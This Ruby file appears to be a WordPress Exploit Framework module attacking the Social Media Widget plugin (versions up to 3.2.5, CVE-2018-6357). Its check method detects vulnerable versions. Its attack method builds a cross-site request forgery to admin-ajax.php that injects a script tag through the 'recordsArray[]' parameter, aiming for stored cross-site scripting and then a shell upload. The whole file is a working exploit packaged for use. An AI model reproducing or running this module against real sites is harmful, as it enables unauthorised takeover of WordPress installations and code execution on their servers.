# frozen_string_literal: true

class Wpxf::Exploit::SocialMediaWidgetCsrfXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Social Media Widget <= 3.2.5 CSRF Stored XSS Shell Upload',
      author: [
        'Panagiotis Vagenas', # Disclosure
        'rastating'           # WPXF module
      ],
      references: [
        ['CVE', '2018-6357'],
        ['WPVDB', '9017'],
        ['URL', 'http://lists.openwall.net/full-disclosure/2018/01/10/8']
      ],
      date: 'Jan 11 2018'
    )
  end

  def check
    check_plugin_version_from_changelog('acurax-social-media-widget', 'readme.txt', '3.2.6')
  end

  def vulnerable_url
    wordpress_url_admin_ajax
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'recordsArray[]' => "1'><script>#{xss_ascii_encoded_include_script}<\\/script>",
      'action' => 'acx_asmw_saveorder'
    )
  end
end
